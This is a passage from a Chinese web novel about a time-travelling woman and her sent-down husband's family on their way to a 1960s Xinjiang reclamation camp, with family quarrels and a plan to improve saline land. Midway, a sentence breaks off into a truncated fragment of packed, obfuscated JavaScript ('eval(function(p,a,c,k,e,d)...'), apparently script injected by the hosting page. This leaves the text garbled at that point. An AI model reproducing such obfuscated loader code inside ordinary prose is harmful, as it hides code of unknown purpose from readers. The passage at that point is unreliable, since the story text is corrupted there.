杜枝花越想火越大,火越大对着陆振华笑得越甜:“陆老哥,我真是羡慕你啊,我们一家子吃的用的都没了。不像你家,你儿媳妇居然舍得拿肉饼送人。” 陆父听到她家吃的用的都没了,下意识摸了摸自己腰间——那里还缠着十尺布。 十尺布,给杜枝花做个衣服,再给她孙子做一套应该都够了。 “老妹妹要是不嫌弃,我这里……”他张口就想散财。 陆沉舟抢先一步打断:“杜婶,实不相瞒,我妈刚刚没了一个月。但我爸现在好像对您一见如故了。您要是不嫌弃,我可以把我爸送给您倒插门。” 陆星野瞪大眼睛,来回看了下陆父和杜枝花,突然一拍手:“这也行吧,要不就今晚?” 全车人顿时都看了过来。即使颠簸的厉害,但人类对八卦的渴望可以战胜一切困难。 林晚霜差点被自己的口水噎到。她觉得自己应该是在做梦,不然怎么会听到陆沉舟先开口要把陆父嫁出去? 这话要是陆星野说的,她是半点都不奇怪。这孩子人小鬼大,经常说话噎死个人。 可换成是陆沉舟,她只能怀疑自己是在做梦。 陆父一张脸红了又紫,紫了又红。他真是要被这两个逆子给气死了。 杜枝花脸色一下子就白了。 陆家四口人,她最瞧不上的就是陆振华,她感兴趣的是陆沉舟和林晚霜,可不是这个老废物! 她强忍住气,努力让自己显得和蔼可亲:“孩子们是不是误会了啊,我和你们爸爸今天才认识,我们之间清清白白。” 然而在场的也都是今天全程在场的。 有军人来陆沉舟他们这边,这是多显眼的事啊。谁不好奇? 所以他们可都在偷偷观察,也就亲眼看到陆沉舟和那个当兵的前脚刚走,杜枝花后脚就挨着陆父坐过去了。两人亲亲热热不知道说了啥,陆父就起身跟杜枝花一起去曹家那边坐了。 就这?清清白白? 要真的清白?这老太婆能刚认识就挨着人家老头坐?能几句话就把人老头带自己家那边去?能在车上突然说自己缺东西?这老头会听完就开始当众摸自己的腰?老头儿子会当这么多人直接说把爹嫁过去? 一时间知青们也不沉默了,直接议论起来—— “我特么的今天才发现,清白这两个字还可以这样写。” “他们玩的是真花啊。” “老婆才死了一个月就……啧啧啧。” 陆父恼羞成怒,指着两个儿子就要说话,结果刚开口就被自己口水呛到咳了起来。 林晚霜立刻摸出一颗甘草片,藏手里给他递了过去。 陆父见她伸手过来,怒火一下子有了发泄的出口,一巴掌狠狠打她手上。那药片立刻掉在了地上。 “是药!”曹小莲眼睛尖,一下子叫出了声。 顿时没人再关注两个老人的爱恨情仇了—— “有药?” “什么药?” “不管是什么药,能不能给我分点儿,不白拿。我用东西换。” “我也要,我拿票换,什么票都行。” 一瞬间所有人都朝着林晚霜看过来,目光充满贪婪,渴望。 直面这么多人赤果果的目光,饶是林晚霜也忍不住缩了一下身体。 陆沉舟立刻挡在了她前面:“抱歉,我们的药也不多,而且只有一种,是专门给我爸治咳嗽的。” 陆父犹豫了一下,其实照他想来他们药不算少,分点出去也没啥不行。而且他们明明有三种药,根本就不止这一种。 哎,看来这满嘴胡话的儿媳妇已经把他善良正直的儿子给带坏了。真是家门不幸啊! 陆父突然开始犹豫,自己难道真要为了个还没出世的孙子,牺牲儿子的一辈子吗? “那你这药叫什么名字?”还是有人不信,想要争取一下。 林晚霜捡起地上的药,递给陆沉舟。 陆沉舟放在摊开的手掌中:“甘草片,非常普通的药,主要功效是止咳。” 只能止咳? 一瞬间很多人都失去了兴趣。 接下来的路程变得无趣,平静。 没有人在说话,道路崎岖,车辆颠簸,有好几个知青已经脸色煞白。 杜枝花和曹小莲更是直接趴在车边就哇哇吐了起来。 杜枝花还好,她是短发,吐的再狼狈,也没弄到身上。 曹小莲就惨了,她那头大波浪车跑起来后本就直往脸上扑。现在虽然用手努力拢着头发,却仍旧不可避免的沾了很多呕吐物。 林晚霜坐对面看的清清楚楚,本来她除了感觉屁股被颠的发麻外,没多少不适。 现在见曹小莲长发打着卷,泥巴呕吐物到处都是。不免捂着嘴干呕起来。 陆父立刻发现林晚霜的异常。他以为这是孕反,忙喊着身边的陆星野快点把水找出来。 陆沉舟也发现了不对,他侧着身挡住林晚霜的视线,提醒她:“看外面,别看对面。” 林晚霜含了口水,一点点往下吞咽,身体朝着外侧看路两边。陆父赶紧把自己身上裹的被子分出大半给她盖上。 他嘴里还嘟囔着:“都怪我,我怎么就忘了出门前给换点酸萝卜,哎呀我的大孙子可千万不要出事啊。” 他是个古板又传统的人,把传宗接代看的比什么都重要。 之前能为林晚霜的肚子立刻原谅原主做的一切,现在自然可以为了这肚子立刻放下所有的不满。 接下来他更是一眼不错的盯着林晚霜,生怕她肚子里的孩子出事。 那目光扰的林晚霜十分难受,她只能避开,侧身去看外头的风景。 军卡在戈壁滩上驶过,一望无际的黄沙上偶尔才能见到一丁点儿绿色。 小智实时为她导航,标注着植物或动物的名字。 然而,一路过来这些标注拢共加起来也没10个。全是沙棘和一两只小沙鼠。 荒凉,贫瘠,是刻在这片土地上的印记。 过去千百年来这里都是被当做流放的苦寒之地,缺水缺粮,然而新华国成立后,却毅然决定大力建设,防风固沙,要让旧貌换新颜。 这就是六十年代的边疆,众志成城,军民共建,无数来自大江南北的青年,将他们的青春甚至是生命掩埋在了这片黄沙中。然后他们用几十年的时间,将这片曾经的不毛之地,变成瓜果之乡,塞上江南。 林晚霜看着这满目疮痍,她忍不住生出一个念头:既然她已经来到了这个时代,来到了这个地方,带着未来的记忆,甚至还有一个全能知识库。那么她能不能用更少的代价让那个塞上江南出现的更早一点? 然后她看着小智整理出来的数据资料,强忍住内心的震撼和感动。拉了拉身旁男人的衣袖:“陆沉舟,如果我说,我有更好的办法可以改良盐碱地。你信吗?” 陆沉舟瞳孔一缩,他想起和张墨坤聊天时提到:在边疆冬季农场因为要冒着零下二三十度的严寒外出开凿冰块储水,他的亲弟弟就是死在某个冬季的劳动中。 建设兵团主要做的事就是荒漠开垦和农业生产。 而戈壁滩主要就是盐碱地造成的,盐碱地寸草不生,存不住水,自然养不活人。所以盐碱地就是最核心的任务。 可如今的方法主要就是通过大水漫灌压盐、然后再挖排水沟排盐。这也是这里为什么冬季反而劳动强度最大,死亡率一直飙升的原因。 而现在,她说有更好的办法来改良盐碱地? 他掩下眼中的惊疑,语气有些哽咽:“如果真的有用,你能让很多人可能死在冬季的人活下来。” 林晚霜蓦然抬头看向他:“你认识的人死在边疆了?” “是张墨坤的弟弟,他也是援疆知青,死在一次冬季外出采冰的路上。所以张墨坤离开那支队伍后,主动申请来到这里,扎根边疆。”他毫不隐瞒,看着她的目光中隐隐有水光。 “你和他的关系很好。”她明白了,同时她更加懂得了知识库的重要性。小智给她整理的方法很多是直到80年代末90年代初才被边疆人民从一次次尝试改良盐碱地的经验教训中总结出来的。 现在提前了至少20年,且直接就是最完整,消耗最少的两种方案。 这其中的价值自然是不言而喻。 “只是为了你的安全,这份功劳不能公开,”陆沉舟低声解释道,“我会和张墨坤联系,用别的名义尽快开展实验,尽快推广开。” 林晚霜并无疑义,只是她需要说清楚:“这不是我想的,而是几十年后扎根在这片土地的研究员和军民们在一次次失败中总结出来的方法。通过某种我也很难解释的原因,被我提前知道了。你能理解吗?” 经过之前的多次尝试,她觉得他大概是科学中毒的资深患者。这次情况虽然明显不同,但想来他还是可以找到科学解释的。 “这大概是涉及到了量子纠缠方面的内容,”他果然没让她失望,开始科学阐述问题,“你不能解释不是你的错,而是你学的太少了。当然我学的也不够多,所以我目前只能往UCLA方面去猜测。” “你说什么?”她震惊地睁大双眼,“你刚刚是不是说了UCLA?” 天呐,他居然会说英文,虽然发音不够标准,但那的确是英文! 林晚霜立刻让小智帮她查询这几个字母的含义。 然后看着脑海里的资料,她陷入了久久的沉默。 这男人…… 陆沉舟以为她不懂,还在低声给她解释:“国外有种东西叫做计算机,大概有火车站那么大,里面很多电子处理器,可以用来分析和处理数据。4年前,美利坚有一个叫做IBM的公司,他们改良了计算机,使用了集成电路技术。将计算机的体积缩小了近一倍,处理数据的速度提升了近2倍。今年年初,美利坚国防高级研究局启动了UCLA计划。” “他们计划通过某种类似无线电交流的方式,将放在不同地方,甚至是城市的计算机进行数据互联。”陆沉舟看着她,“你懂吗?我怀疑你这个情况就是脑电波和几十年后的某个计算机数据互联了。” 震惊!太尼玛震惊了!他通过一个局域网的猜想居然提前把万物互联的概念给搞出来了。关键是还真有点像。 “我现在相信你说的,科学可以解释一切问题了,”她觉得自己有点麻了,“不过你居然知道计算机。你不会还用过计算机吧?” 国内这时候也是有计算机的,但通常都在高度保密的地方。 陆沉舟脸色变的严肃起来:“等安顿下来,你把治理盐碱地的方法写下来给我。” 他转移了话题,而她立刻意识到这又是一个禁区。 在某些时候,她是可以没有好奇心的。 只是,她还有个疑问:“如果我真的如你猜测的那样,和什么数据库连上脑电波了,能知道以后的事。你有没有什么想知道的?” 他看向她,目光清明,没有一丝遮掩:“我不想知道任何事,我也希望你不要去主动查找任何信息。” 他解释道:“脑电波和某个数据库相连是我个人不成熟的猜想。我不希望你为了验证去冒险,如果是假的,可能你会受伤,如果是真的,我也并不好奇,因为无论如何,我的人生我会自己一步步走出来。” “这次盐碱地的事是个例外,接下来我会尽量陪着你,如果你受到了什么反噬,我会尽可能救你。但即使这次没有反噬,也绝不能再有下次了。” 他按住她的肩膀,让他看着自己的眼睛:“林晚霜,我再说一次,不要去冒险。我陆沉舟没有你想的那么弱,保护好自己,永远不要随便去使用未知的力量和能力。” 看着他认真的样子,她突然有点心虚。该怎么才能和他这个严谨的科学控解释清楚,自己真的不是科学能解释的?而且小智真的没有危险? 算了,如果她再说下去,搞不好他会以为她已经被精神反噬了。看来唯一的办法就是多看书,多读书。尽可能让小智只变成提供知识辅助的助手。让自己成为真正的决策者和主导者。 这个念头一出,她立刻感觉自己整个心境都发生了变化。 或许是前世的烙印太深,她其实一直是不自信的。所以总想找个大腿抱,总觉得自己只能打辅助。总把作为金牌助手当做人生目标。 现在,她突然觉得,既然她可以成为决策者,主导者。为什么还要让自己做辅助呢? 也许,她的未来不该是抱紧某个大腿求带飞。也许,她不该做攀缘的凌霄花,而是成为橡树旁的另一棵橡树。 可以并肩而立,却有自己独立的根系。不用担心没了谁就失去依靠,无论长在何处都能活的很好。 “陆沉舟,我明白了,”她看着他的眼睛,这一刻他在她眼中不再是那个金光闪闪的高大依靠。而是站在远处需要她追赶的目标,“我会努力,不靠外物,像你说的,多学习,多思考,只靠自己。终有一天,你会被我超越。” “好,”他也发现了她的改变,虽然不清楚怎么了,但这一刻的她,眼中多了野心,多了自信,变得更加耀眼起来了,“我等你超过我,但是我不会原地踏步。” “不需要,你尽管往前跑,”她笑了起来,“我会跑的比你更快。” 他们相视一笑,在颠簸的军卡中,在这一望无际的黄沙里,两棵顶天立地的橡树正在扎根,生长。 一个小时后,卡车轱辘碾过最后一段坑洼土路,终于喘着粗气驶入了苦水泉开荒连的地界。 入口那座歪歪扭扭的木牌楼早被风沙磨去了棱角,牌楼上“苦水泉开荒连”六个红漆大字掉了大半。 进了牌楼,路更难走了,车轮碾过之处,黄沙混着碎石子簌簌往下掉,车厢里的人被颠得东倒西歪,呛了满嘴的土腥味。 林晚霜的视线掠过两边的泥巴房,房体上用红油漆刷满了标语,层层叠叠的,旧的墨迹没干透,新的就又盖了上去。 “向荒原进军,向土地要粮”“不怕苦,不怕难,戈壁滩上建家园”。 一行行大字被风沙吹得有些斑驳,却依旧像一把把火,在这片枯黄的戈壁滩上烧得热烈。 远远望去,开荒连的平地上已经热闹起来。 穿军装的军人和穿粗布衣裳的垦荒队员混在一处,弯腰弓背,挥着锄头铁锹,一下下往硬邦邦的戈壁滩上砸。 锄头下去,溅起一片碎石,可没人停下,他们嘴里喊着整齐的号子,粗犷的声音在风里传出去老远。 林晚霜还没收回目光,军卡已经急刹车停在一座石头沙砾垒成的小坡旁。 “都麻利点!下车了!” 赵铁柱连长的大嗓门猛地响起,震得车厢板都嗡嗡作响。 他率先跳下车,军靴踩在沙地上,扬起一阵细沙:“知青跟我走,去连部报道,登记领东西!” 知青们闻言,互相支撑着歪歪斜斜地站起来,七手八脚地扒拉自己的行李,帆布包、铺盖卷,慌慌张张地往下挤。 “下放的同志们在这儿等会儿!”赵连长回头喊了一嗓子,指了指卡车旁的一片空场,“102开荒排的人待会儿来接你们,别乱跑,这戈壁滩大得很,丢了可不好找!” 陆沉舟先扶着陆父下了车,然后是林晚霜和陆星野。等大家都站好了,他才上去背那两个大包。 “陆大哥,您这包里都是什么呀?”曹小莲用手绕着头发走过去,站在陆沉舟边上侧着脸对他微笑,声音又娇又媚,仿佛可以滴出水来。 陆沉舟看她一眼:“大姐,你头上一股子酸臭和泥巴味,能不能走远点?这味道让我想吐。” “啊——”曹小莲爆发出尖锐的鸣叫。 下放前她刚刚烫了新的发型,为了展示她漂亮的头发,她根本没带帽子。 刚刚在车上被颠的吐了一头一身她难受的很,现在走过来把自己最美的侧脸展示给陆沉舟看,就是想套个近乎,看看他会不会怜香惜玉送她套厚衣服。 没想到,这个人压根不看她一眼就说“让我想吐”。 向来在男人堆里被追捧惯了的她哪里听过这么难听的话?当即被刺激的什么念头都丢开了,只想狠狠骂死他。 然而,她还没来得及开口,陆沉舟背着包就跳下了卡车。离开前还补了一刀:“对了,建议你不要笑,不然很像是在宣传封建迷信。” 曹小莲在车上跺脚大骂:“呸!你个四旧瘪三,撒泡尿照照自个儿配不配!” 林晚霜是看到刚刚那一幕的,然而她没多少异样的心情。她和陆沉舟迟早是要离婚的,再说了,就曹小莲那样的,也就比原主强一丁丁点。陆沉舟要是这都解决不了,那只能说他太弱了。 她此时正抓紧观察开荒连的情况,脑子里开始构思从哪个角度来写稿。 突然小智的智能地图上出现两个人正从牌楼那里往他们的方向过来。 她立刻爬上一个土堆子上向着牌楼方向看去。 那是两个小战士,推着一辆板车,车上插了个红旗,上面写着“苦水泉开荒连102排”。 她立刻招呼陆沉舟:“接我们的人来了。” 这一声不大不小,却把陆曹两家人的注意力都吸引了过来。 “哪呢哪呢?”杜枝花推开还在跟她抱怨的女儿,赶紧爬上土堆去看,她脚下漂亮的皮鞋现在全是泥土,走起路来一拐一拐的,“这次我得选个靠里头,不那么颠的位置。” 然后她的嘴巴就再也闭不上了:“板车?!他们就让我们坐板车?这能坐几个人啊?” 抱着儿子的曹大军闻言也急了:“搞什么名堂?不能派个车?就刚刚那种卡车也行啊。” 陆父在旁边听的有点不舒服,他虽然觉得他们说的有些道理。但他没忘记他们是下放来劳改的。 看来杜妹子这一家还没把思想转变过来啊。 陆父能因为自己儿媳妇做了“危险”的事产生换个儿媳妇的想法,对于萍水相逢只是聊的来的人,自然不可能在对方流露出这样的思想后还能心无芥蒂的接近。 他不动声色地往后退了一步,让自己离曹家几人远了点。 陆沉舟把这一幕看在眼里,心里有了计较。 既然接他们的人已经到了,几人自然要往前迎迎。 曹小军那时髦的尖头皮鞋被地上的土坷垃绊了下,险些摔倒。 他稳住身体,对着那土坷垃狠踢一脚,骂道:“这特么什么破地方,连个路都坑坑洼洼的,烂的要死。” 陆父在前面走着,忍了又忍,最后还是忍不住,停下转身看着杜枝花,有些疏离:“杜同志,我多句嘴,您得好好管管您家人的嘴了。咱们成分都不好,是来劳动改造思想的。可不是过来享福。被人听到惹出点事,只怕更不好。” 杜枝花听到“杜同志”就是心头一紧,在加上陆父后面的话,客气有余,亲近不足。她脑子一转就知道问题出在哪儿了。 心里暗骂一句陆父真是胆小如鼠,面上却是诚惶诚恐感激涕零,立刻上赶着一口一个老哥哥去拉近距离。 听着杜枝花将一切都推到老头子没得早,她一个妇道人家眼皮子浅不撑事上。直接把陆父给放在当家人的位置上。 陆沉舟陆星野和林晚霜就冷眼看着陆父在杜枝花和曹家人的吹捧中,逐渐迷失了自我。 “这老太婆可真会说,”陆星野低声感叹,“瞧咱爸那副不值钱的模样。” “只要看紧点别让他说不该说的,做不该做的就行。”陆沉舟语气平静,“到了开荒团尽量住远点儿,别离太近。别串门。” 林晚霜心里默默总结:就是把杜枝花和曹家人给陆父当电子宠物用,他们不搭理不给投喂不给好脸。如果那家人还愿意上赶着给陆父提供情绪价值,那就提供吧。 很快,他们就遇到了来接他们的人。 “同志,这么小的车,我们坐不下啊。”杜枝花一看这板车模样,当下就抛下了陆父。 她眼睛不住地打量着那辆全是泥土沙子的车,努力掩饰住脸上的嫌弃。 小战士笑着解释:“同志,这车是我们排长特意抽调出来给你们拉行李的。当然,想坐人也行。反正是你们自己拉车。” “什么?不是你们拉?”曹大军瞬间变了脸色。 林晚霜看了他一眼,这人穿着深蓝色棉衣棉裤,蹬着一双看不出原色的皮鞋。头发依稀看得出是大背头的模样,抱孩子的手法极其生疏,双手从孩子裆下穿过,压根不怕伤到孩子隐私部位。 而他的话,明显让那两个小战士脸色变得有些难看。 林晚霜懒得去管他们,直接走上前,对着两个小战士笑着说:“谢谢两位同志一路辛苦把板车送过来,也谢谢王排长特意抽调板车给我们用。” 高一点儿的小战士听到她说出团长的姓氏,立刻提起了兴趣:“这位同志知道我们排长?” “过来路上有幸和赵铁柱连长多聊了几句,他提到了王光明排长,”她假装不经意地点出赵连长来,“两位能被王排长派来接人,想必平时也深受重用。” 一句话说的两个小战士心花怒放,再加上听出她不像是个普通下放人员,有意交好。他们三人很快就聊了起来。 杜枝花冷着眼看着聊的热火朝天的三人,就这功夫,这两个战士的姓名,年龄,原籍和在开荒排的职位他们站旁边都听了个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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林晚霜并不知道有人在试图激起陆家人对她的愤恨,就这会儿功夫,她已经打听清楚他们的确是要住地窝子,不过这地窝子也是分个大小和位置好坏的。 张子枫已经隐晦地暗示了她,会把现在还空着的,最好最大的一处地窝子安排给陆家,陆家和曹家的地窝子会尽量给安排的远一些。 而且他还提到,做饭队里头可以加个学徒工。 杜枝花没在陆家人身上讨到好处,又看林晚霜和那两个小战士都快聊到工作分配了,顿时眼珠子一转,提高了嗓门:“同志,咱们还走不走了?这再等会儿不会错过晚饭吧。” 储一恒看了她一眼,心里很不乐意,但她说的有理,只能张罗着:“陆振华陆星野上车,走吧。” “等等,为啥是他们上车?”曹小莲当即黑了脸,“我脚都起泡了。” 张子枫冷着脸解释:“他们家儿媳妇说了,她男人拉车,让老头和小孩坐。你们家要坐也行,商量个拉车的人出来,和陆家换着拉呗。” 立刻杜枝花和曹小莲就齐刷刷看向家里的两个男人。 只是还没等她们开口,曹大军说话了:“别看我,我得抱着根宝,让小军拉。” 曹小军几乎是同时:“我不行,没力气,让大军拉。” 然后两人对视上,火花噼里啪啦。 “你抱根宝?你看看这姿势他舒服吗?要不是昨天一晚没睡,他能哭一路。”曹小军率先开炮。 “昨天在路上我儿子凭本事要来的吃的,我一口没吃到就被你抢了,他饿的直哭你还有脸说?”曹大军立刻跟上输出。 “又不是我儿子,再说了,他饿哭了也没见你给你儿子分口吃的。”曹小军冷笑道。 陆父听了半天,觉得这两兄弟真不是东西,一时间对杜枝花又多了几分同情。 他骄傲地看了眼自己两个儿子,感叹一个家真不能没爸爸,瞧他两个儿子多优秀啊。 林晚霜见曹家人又闹起来了,也懒得掺和,直接在棉袄上扯下块布头,爬到板车上开始清理。 陆星野二话不说有样学样上去了,陆沉舟找地方把包放下也要过去。 “陆家大侄儿,你这包里吃的用的不少吧?”杜枝花本来在劝架,现在看到他放包,立刻就转着眼珠过来了。 陆沉舟压根不搭理她,直接往板车那边去了。 杜枝花也不在意,看着陆父抹眼角:“老哥哥啊,咱们同是天涯沦落人,我一看你就是个大好人,你看这吃的能不能匀我们点儿?” 陆父有些意动,主要是他觉得他们吃的是真不少。 然而他还没说话,陆星野跳下板车就冲了过来:“谁有吃的?咱们来边疆不就是为了挽起袖子干革命吗?你家被抄了难道我家就没事?我看你的脸皮是真厚,张个嘴就讨上饭了。” 他挡在陆父身前,压根儿不理会身后陆父拽他衣服的手:“还说和我们一样?我家可穿不起皮鞋,也搞不来你们这种资本主义套路。” “老哥哥!你儿子是想逼死我们吗?”杜枝花急了,小死崽子居然给他们扣资本主义的大帽子,这不是要他们命吗? 陆父也吓了一跳,眼瞅着两个小战士都看了过来,他低声呵斥:“星野,你怎么也和你嫂子一样口无遮拦?” 这一瞬间他又觉得林晚霜不好了,他觉得这儿媳妇已经把他两个儿子都带坏了,现在这个家竟然只剩他一个正常人。 娶错媳妇毁三代啊!他痛心疾首的想,要不还是等她生完娃就离婚吧,太祸害人了。 陆沉舟和林晚霜把板车收拾干净,拿了床被子就要铺。杜枝花赶紧凑过来:“老哥哥,能不能让我孙子根宝也一起坐板车?我两个儿子身体都不好,拉不了车,我们大人委屈点没事。我孙子太小了。” 陆父看了看在曹大军怀里显得格外娇小的孩子,他立刻点头:“应该的,我儿子有的是一把子力气,你孙子就这点大,不占啥地。” 陆星野一听就嚷了起来:“什么叫有一把子力气?我哥一路上搬那么多东西,他不累?爸你身体不好,你坐我没话说,但是我不会坐的,我要自己走路。” 杜枝花眼珠子一转:“老哥哥你小儿子被你教的真好,那车上要是还有空,能不能让我也凑合一段路?” 陆父立刻就拒绝了,他是想帮杜枝花不错,但他觉得板车那么小,他们孤男寡女坐一起被人看到了不合适,有伤风化。 杜枝花早有对策,她立刻踢出借陆家一床被子,自己裹着坐一边避嫌。 这下陆父真有些意动了,他们家有四床七斤厚的大被子呢,别说是借,送人一床他都觉得行。这随便给点自己多余的东西就能做好人好事挣个好名声。挺值! 陆沉舟这头见陆父又开始发善心了。喊了陆星野一声,把行李放在车上,让他和林晚霜坐上去,推着车就走了。 陆父正被杜枝花一口一个“大善人”“心地好”夸的飘飘然。发现板车走了。立刻杵着棍子大喊:“沉舟啊,爸还没上车啊!” 听到陆父的声音,陆沉舟脚步顿了一下,表情有一丝纠结。 然而他最终也没回头,闷着头推着车继续往前。 张子枫和储一恒跟着车走,听陆父在后面喊,储一恒提醒了句:“你爸还在后面呢,不等等?” “等啥等?”陆星野眼睛看着陆父颤巍巍追上来,嘴巴却还在生气,“他一点都不心疼我哥,还跟那老太婆说我哥有一把子力气,可以拉她。还把我哥辛辛苦苦弄的被子随随便便就借人了。” 陆沉舟提醒了句:“被子是你嫂子弄回来的。” 陆星野突然大叫:“哥,那老太婆跑去跟她两个儿子说话了,你信我,他们肯定要搞事!” 陆沉舟抬起头和车上的林晚霜对视了一眼。 林晚霜点了点头:“现在杜婶又去爸那边说话了,不知道爸跟她说了什么,她很高兴的样子。” 陆沉舟停下了脚步,转身看过去。 陆父在曹小军的搀扶下,已经赶了上来,他举起棍子就要打陆沉舟。 “你干什么?”林晚霜眼见陆沉舟不避开,直接下车一把抓住了棍子。 陆父抽了一下没抽出来,想加点劲又顾虑到她肚子里有孩子,就僵持住了:“沉舟媳妇儿,你让开,我今天非得好好教训下这两个不孝逆子。” “爸,这在外面呢,别人看到了影响不好。”她一出口就是绝杀。 陆父被提醒,立刻放下棍子,但语气仍旧生硬:“刚刚他们直接就把我扔下了,我真是白养这两个不孝子了。” 陆星野张嘴就要说话,林晚霜拦住了他。 她看了眼曹小军,又看看陆父:“爸,您答应杜婶家什么事了?” “我寻思着咱们家肉干不少,被子也挺多的,还有一包奶粉正好可以给你杜婶家。主要是你杜婶家也不容易,孩子多,啥东西都没带。”陆父有些尴尬,他甚至都不敢抬头看人,只能顶着远处发呆。 “爸你怎么……”陆星野没想到就分开了几分钟,陆父居然把他们卖的一干二净。 “爸你怎么能胡说八道呢?”林晚霜扬声打断了陆星野的话,她语气中全是心痛和惋惜,“爸,您这是又犯病了?咱们家是下放过来的,就看咱们这打扮,哪里就能拿出您说的那些东西?” 陆父张目结舌,他立刻看向陆沉舟,希望他说句公道话。 陆沉舟点头,看向张子枫和储一恒:“两位同志有所不知,因为两个月前我们家突然被划分成地主成分,我爸我妈受不起打击双双病倒,一个月前我妈撒手人寰,我爸和我妈感情深重,直接吐血卧床不起。我们家被割委会先后抄了两次,连个缝包的布都拿不出来。” 他长叹一声,表情真诚,已然是有了林晚霜八分真传:“没办法我只能凭着在部队练出来的几分身手冒险上山打了两头野猪,我媳妇儿拿着猪肉去跟人家换药给我爸治病,就为这个她下跪了三次。猪皮子我们随便硝了下就拿来缝包装东西。如果说二合面小米什么的我们还有点,肉干,那不都临行的时候做麦饼馅了吗?” 这话有理有据,听的两个小战士一个劲点头,他们本来就因为刚刚的交谈对林晚霜有好感。现在好感更甚。 陆父气的一张脸白了又红红了又白。看到杜枝花一家看他如同看骗子的目光,他急了:“同志,我是老实人,可不敢撒谎啊。不信开包看看!” 陆星野是万万没想到,到这里了还会遇到开包危机,而且还是他爸带来的。 一时间心情复杂无比。 “爸,您真是糊涂了啊,”林晚霜眼见所有人都看向了他们的包,立刻大声哭诉,“爸,您就算糊涂了,也不能对不起妈啊。怎么着也得多等一段时间再找人吧。” 遇到这种情况,去和人摆证据那是自寻死路。林晚霜知道想要破局就得搅浑水,而桃色新闻这一招,无论古今中外,百试百灵。 果然,这话一出没人再关心他们的包了。所有人,就连杜枝花自己都忍不住想:难道这老头子真的是想女人了? 杜枝花后退一步,她一直运筹帷幄隐身在幕后,可没想过自己以身入局。 陆父一张脸臊得通红,他指着陆沉舟字字泣血:“沉舟,你媳妇儿这样污蔑你爸,我就问你一句,这个婚你离不离?” 39. 第 39 章 陆父开口就逼着自己儿子离婚,在场所有人都傻了。 不是,人家好端端一个大姑娘,千里迢迢跟着婆家来边疆吃沙子。结果还没到地呢,你做老公公的就要逼着人家离婚? “爸,你疯了吧?”陆星野眼睛瞪的溜圆,脱口而出就是一句,“嫂子还怀着孕呢。” 我去!储一恒和张子枫也睁大了眼—— 这老公公心可真够狠的,居然对着自己怀了孕的儿媳妇如此咄咄逼人。而且这儿媳妇还挺孝顺的啊。 看来这老公公当真是病的不轻。哎,可怜他们开荒排,任务本来就重,现在居然还来个病人…… 陆父可不知道他现在已经被列入了不受欢迎名单。 此时他还在激情嘶吼,棍子被他重重杵在地上溅起黄沙:“陆沉舟,要么你和她离婚,要么你和我断绝父子关系!” 陆沉舟看着陆父,突然想起他之前和林晚霜聊起父母时,她曾说,他们的好一定是要建立在足够的财富上。 因为他们其实是需要不断地通过去挥霍财富去获得别人的尊敬和感激。一旦财富不足以让他们去挥霍了,他们的善心和好意就会拖着全家人跌入深渊。 他现在不得不承认,她是对的。 他的父亲,是觉得他们不会真的面临困境?还是觉得他能很轻易就获取到这些东西? “爸,您是这个家唯一的长辈,您想要做什么事本来就不需要理由的,”林晚霜见陆沉舟没说话,猜出他现在心情大概是不太平静。 于是她主动来应对陆父:“如果您真的想要娶杜婶。我们小辈都没意见。” 陆星野很容易就接受了这个说法,他眼泪掉了下来,哽咽着问陆父:“你对得起我妈吗?她才死了一个月啊!” 曹家那边也闹翻天了。曹小莲率先发难:“妈,你对得起我爸吗?他才死了两年,你就想改嫁了?” 紧接着曹家兄弟两也加入战局,争吵声吵醒了三岁的曹根宝,于是战局中又新增了哭声助阵。 这年代的人思想普遍单纯。 比起大好人喜欢散财送爱心,大家都更愿意相信陆父是因为对人老太太见色起意,所以不惜撒谎也要套近乎。 张子枫忍不住感叹了句:“老爷子,您真是老当益壮啊。但是也不能为了骗老太太,就撒这种谎啊。” 陆父气的倒仰,一激动又咳了起来。只可惜这次林晚霜吸取了车上的教训,压根就没去找药。 眼见着陆父咳嗽不似作伪,陆沉舟这才走过来拿了一颗药给他。 陆父颤抖着手,好几次才终于把药送进口中,等平复了一些,他声泪俱下:“沉舟,你是不是不想管我了?我咳那么久都不给我药?你怎么这么心狠啊!” 然而陆家两兄弟都没说话,一个表情冷淡,一个还在擦眼泪。 陆父看了一圈,找到了罪魁祸首,他指着林晚霜怒斥:“搅家精啊!娶妻不贤毁三代啊。” 林晚霜懒得说话,她又没想过真当他儿媳妇,现在更是懒得花心思教育他。 “同志们,咱们快走吧,别误了晚饭。”储一恒抬头看了看天色催促道。 八卦他的确还想看,毕竟这也太劲爆了。今天回去和别人一说,他肯定能成为整个排最靓的崽。 不过和任务相比,什么都得靠后。 听到他这句话,林晚霜下意识看了眼时间,下午三点十分,的确不早了。她刚刚问了下,步行到102开荒排得一个半小时呢。 其他人也没疑义,只是陆父等不到人来安慰他,一时间站在原地,看着众人离开的背影,伸手抹着眼泪。 风吹来,黄沙滚滚,他一个人站在那里杵着棍子,擦着眼泪,看上去的确非常可怜。 林晚霜发现陆沉舟和陆星野走的很难,明显是对陆父放心不下,便说道:“我们回去带上爸吧。” 这年代的人,对孝道很看重的。且不说陆沉舟是被爷爷奶奶用《孝经》开的蒙。就算不识字的普通人,也是习惯赚了钱就上交家用,即使在家受尽委屈,也轻易不敢忤逆。 此时陆家两兄弟明显是对陆父放心不下,她还不如帮他们找个台阶下了。 她这句话说完,陆星野立刻停住了脚步:“哥不能去,我去。如果哥去了,爸只会得寸进尺。” 他说完转身快速向陆父跑去。 “我有时候真的很累,”陆沉舟看着她突然轻声说,“我当兵那些年,存折都在他们手上,等退伍了发现只有17块4毛。一问才知道,做好事给用掉了。我有时候很骄傲他们人品高洁,但有时候……” 他说不出来,他自己也无法形容那种所有人都在夸赞,偏他总觉得有些别扭的复杂情绪。 他不禁轻问,却不知是在问自己还是问她:“我能怎么办?我又做不到不管他。” “爸只是没长大过。”她明白他的心情,毕竟她曾有个巨婴爸爸,可是她也不知道怎么办,因为她拿她爸也毫无办法。 “你只能把这想象成是一种磨练,”她传授自己作为过来人的经验,“然后你就会发现,对上除他以外的任何人,你都能游刃有余。” 离开家之后,她才发现外面虽然也有风雨。但还可以撑伞,而家里,伞都是漏的。 说话间陆父和陆星野已经赶了上来,陆父黑着一张脸看着林晚霜重重哼了一声,却没再说难听的话。 林晚霜知道,这是他无声的抗议,因为陆沉舟在他给出的离婚和断绝父子关系之间虽然没直接说,却也表明了态度。 陆父现在心里必然是委屈的,对她肯定也是相当不满。 